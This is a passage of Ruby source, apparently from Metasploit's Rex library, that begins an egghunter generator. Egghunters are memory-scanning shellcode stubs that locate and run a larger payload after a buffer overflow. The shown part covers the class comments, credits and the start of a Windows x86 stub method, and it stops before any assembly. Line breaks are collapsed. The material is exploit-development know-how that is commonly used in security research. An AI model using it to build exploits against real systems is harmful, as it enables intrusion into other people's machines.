require 'rex/text' require 'rex/arch' module Rex module Exploitation ### # # This class provides an interface to generating egghunters. Egghunters are # used to search process address space for a known byte sequence. This is # useful in situations where there is limited room for a payload when an # overflow occurs, but it's possible to stick a larger payload somewhere else # in memory that may not be directly predictable. # # Original implementation by skape # (See http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf) # # Checksum checking implemented by dijital1/corelanc0d3r # Checksum code merged to Egghunter by jduck # Conversion to use Metasm by jduck # ### class Egghunter ### # # Windows-based egghunters # ### module Windows Alias = "win" module X86 Alias = ARCH_X86 # # The egg hunter stub for win/x86. # def hunter_stub(payload, badchars = '', opts = {}) raise RuntimeError, "Invalid egg string! Need #{esize} bytes." if opts[:eggtag].length != 4 marker = "0x%x" % opts[:eggtag].unpack('V').first checksum = checksum_stub(payload, badchars, opts) assembly = <